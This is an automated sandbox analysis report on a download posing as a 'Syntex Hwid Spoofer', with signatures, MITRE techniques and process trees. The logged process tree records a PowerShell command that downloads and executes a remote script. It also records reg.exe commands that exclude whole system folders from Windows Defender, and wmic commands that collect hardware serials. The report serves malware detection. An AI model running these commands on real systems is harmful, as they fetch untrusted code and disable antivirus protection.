hxxps://easysend[.]co/NGOdh

Analysis

user interaction
yes
max time kernel
16s
max time network
93s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/09/2026, 00:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://easysend.co/NGOdh
Sample260907-ay6cmaea47

Score

8^/10

costura discovery execution packer persistence ransomware

Malware Config

Signatures

Downloads MZ/PE file

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/files/0x000f00000001c661-311.dat	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5328	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2840	cmd.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4592	msedge.exe
7380	msedge.exe
300	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134332151102313653"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5356	chrome.exe
5356	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe
Token: SeShutdownPrivilege	5356	chrome.exe
Token: SeCreatePagefilePrivilege	5356	chrome.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe
5356	chrome.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 5356 wrote to memory of 4372	5356	chrome.exe	88
PID 5356 wrote to memory of 2336	5356	chrome.exe	90
PID 5356 wrote to memory of 2336	5356	chrome.exe	90
PID 5356 wrote to memory of 300	5356	chrome.exe	91
PID 5356 wrote to memory of 4448	5356	chrome.exe	94
PID 5356 wrote to memory of 2032	5356	chrome.exe	95
PID 5356 wrote to memory of 4448	5356	chrome.exe	94
PID 5356 wrote to memory of 2032	5356	chrome.exe	95
PID 5356 wrote to memory of 3196	5356	chrome.exe	93
PID 5356 wrote to memory of 3196	5356	chrome.exe	93
PID 5356 wrote to memory of 4216	5356	chrome.exe	96
PID 5356 wrote to memory of 4216	5356	chrome.exe	96
PID 5356 wrote to memory of 3820	5356	chrome.exe	97
PID 5356 wrote to memory of 3820	5356	chrome.exe	97
PID 5356 wrote to memory of 6052	5356	chrome.exe	98
PID 5356 wrote to memory of 6052	5356	chrome.exe	98
PID 5356 wrote to memory of 4688	5356	chrome.exe	99
PID 5356 wrote to memory of 6124	5356	chrome.exe	102
PID 5356 wrote to memory of 1132	5356	chrome.exe	101
PID 5356 wrote to memory of 6124	5356	chrome.exe	102
PID 5356 wrote to memory of 1132	5356	chrome.exe	101
PID 5356 wrote to memory of 2644	5356	chrome.exe	105
PID 5356 wrote to memory of 2644	5356	chrome.exe	105
PID 5356 wrote to memory of 2020	5356	chrome.exe	106
PID 5356 wrote to memory of 2020	5356	chrome.exe	106
PID 5356 wrote to memory of 5044	5356	chrome.exe	107
PID 5356 wrote to memory of 5044	5356	chrome.exe	107
PID 5356 wrote to memory of 2732	5356	chrome.exe	108
PID 5356 wrote to memory of 2624	5356	chrome.exe	109
PID 5356 wrote to memory of 2732	5356	chrome.exe	108
PID 5356 wrote to memory of 1128	5356	chrome.exe	110
PID 5356 wrote to memory of 1128	5356	chrome.exe	110
PID 5356 wrote to memory of 1832	5356	chrome.exe	111
PID 5356 wrote to memory of 1832	5356	chrome.exe	111
PID 5356 wrote to memory of 5632	5356	chrome.exe	112
PID 5356 wrote to memory of 5632	5356	chrome.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://easysend.co/NGOdh
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff91c6ec728,0x7ff91c6ec734,0x7ff91c6ec740
  2⤵
  PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,5883511373566735698,9996877507869166453,262144 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
  2⤵
  PID:2336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,13541295933541833447,4806451934656782238,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
  2⤵
  - System Time Discovery
  PID:300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,12157433109919316362,7244550363307346058,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:13
  2⤵
  PID:3196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,1205526368056148217,4963218842807164907,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:1
  2⤵
  PID:4448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,8264594001021073162,13446792751343799387,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
  2⤵
  PID:2032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4720,i,13575099940351515933,14691417582505219718,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
  2⤵
  PID:4216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3208,i,12617939162702832860,10799748510762489320,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:3820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3388,i,4278768834067795376,9914493154244413126,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:6052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5692,i,12323571057135497548,14830391618490331488,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
  2⤵
  PID:4688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5780,i,8958494103577261403,2760983038119177913,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:1
  2⤵
  PID:1132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5796,i,3792112764109324960,1639305337850203422,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:1
  2⤵
  PID:6124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6112,i,9213531951533929210,15046952751854817588,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6360,i,338778174610345827,3227955895698793008,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:1
  2⤵
  PID:2020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6000,i,4865012568940997180,16074951445966126480,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:5044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5848,i,6874333741868394946,7966754086934850580,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:1
  2⤵
  PID:2732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,12483684350132139858,17033825630401412924,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:14
  2⤵
  PID:2624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5336,i,6134553545740299609,14009515621612432003,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:1
  2⤵
  PID:1128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6260,i,10711563777854281521,6690930853716125484,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:1832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6116,i,10037838742505882427,6045498554462105855,2097152 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:1
  2⤵
  PID:5632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,13550793182584273215,13976212914494394578,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:14
  2⤵
  PID:2604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6400,i,9729745895063477110,11878607710758215598,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
  2⤵
  PID:5060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5024,i,974529143959395131,2167134070857547509,524288 --field-trial-handle=1912,i,15031085564672355988,11352052488105767143,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
  2⤵
  PID:5848

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5652

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Serial Checker.bat" "
1⤵
- Executes a command shell one-liner
PID:2840
- C:\Windows\system32\mode.com
  mode con: cols=180 lines=62
  2⤵
  PID:1468
- C:\Windows\System32\Wbem\WMIC.exe
  wmic diskdrive get serialnumber
  2⤵
  PID:4672
- C:\Windows\System32\Wbem\WMIC.exe
  wmic baseboard get serialnumber
  2⤵
  PID:1868
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_computersystemproduct get uuid
  2⤵
  PID:2820
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Description,PNPDeviceID
  2⤵
  PID:1536
- C:\Windows\System32\Wbem\WMIC.exe
  wmic memorychip get partnumber, serialnumber
  2⤵
  PID:2648
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  PID:1300
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get processorid
  2⤵
  PID:5972
- C:\Windows\system32\getmac.exe
  getmac
  2⤵
  PID:1812
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_computersystemproduct get uuid
  2⤵
  PID:1652
- C:\Windows\System32\Wbem\WMIC.exe
  wmic OS GET Caption,SerialNumber,CSName
  2⤵
  PID:4704

C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\Downloads\Syntex Hwid Spoofer\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
PID:5544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/cqVoCUwh/raw | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5328
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4592
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:5972
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4152
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zxeetdka\zxeetdka.cmdline"
    3⤵
    PID:592
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF013.tmp" "c:\Users\Admin\AppData\Local\Temp\zxeetdka\CSC545B31335E794974989E7B4999FFFC81.TMP"
      4⤵
      PID:5944
- - C:\Users\Admin\AppData\Local\Temp\tempcache.exe
    "C:\Users\Admin\AppData\Local\Temp\tempcache.exe"
    3⤵
    PID:3516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@DevCamelx
      4⤵
      PID:1172
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7ff90481c188,0x7ff90481c194,0x7ff90481c1a0
        5⤵
        
        PID:2908
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1972,i,13487799496603869062,1742933943936006728,262144 --field-trial-handle=2508,i,15839398820724402961,12811781295774694632,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:2
        5⤵
        
        PID:5052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2180,i,6408648442679032425,7895802913208360927,524288 --field-trial-handle=2508,i,15839398820724402961,12811781295774694632,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2656,i,9240088579479563354,7162850579193680186,524288 --field-trial-handle=2508,i,15839398820724402961,12811781295774694632,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:13
        5⤵
        
        PID:2452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3592,i,16942244189878072174,3593294383527698697,2097152 --field-trial-handle=2508,i,15839398820724402961,12811781295774694632,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
        5⤵
        
        PID:3448
